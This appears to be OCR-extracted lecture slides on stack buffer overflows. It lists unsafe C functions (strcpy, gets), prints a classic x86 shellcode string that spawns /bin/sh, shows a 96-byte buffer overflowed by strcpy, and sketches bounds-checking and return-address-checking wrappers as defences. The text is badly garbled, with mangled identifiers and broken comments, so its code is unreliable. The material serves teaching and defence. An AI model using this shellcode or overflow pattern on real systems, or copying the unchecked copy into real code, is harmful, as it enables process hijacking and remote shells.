


strcpy(char *dest, const char #*src)
strcat(char *dest, const char *src)
getwd(char *buf)

gets(char *s)
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#include < D>
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char

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 5
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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void main() {

. . char buffer[96];
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pointer ~ ™ Sirepy(buffer, large_string);

return

}
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void main() {
char buffer[96];

éfrcpy(buﬁer, large_string);
 return;
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void main() {
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void main() {
char buffer[96];
gfrcpy(buﬁer, large_string);
return;

}
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char *strcpy(ch‘e?r{dest, const char *src) §)

/I compute length of input string

/I compute upper bound of destination's buffer size
/I bounds check

/I call libc's memcpy(

Il return /

}
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void new_main() {
char buffer[96];
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wrapper_entry() {
/I store return address
/I jump to new_mai

wrapper_exit() {
/I verify return a
/I return

}
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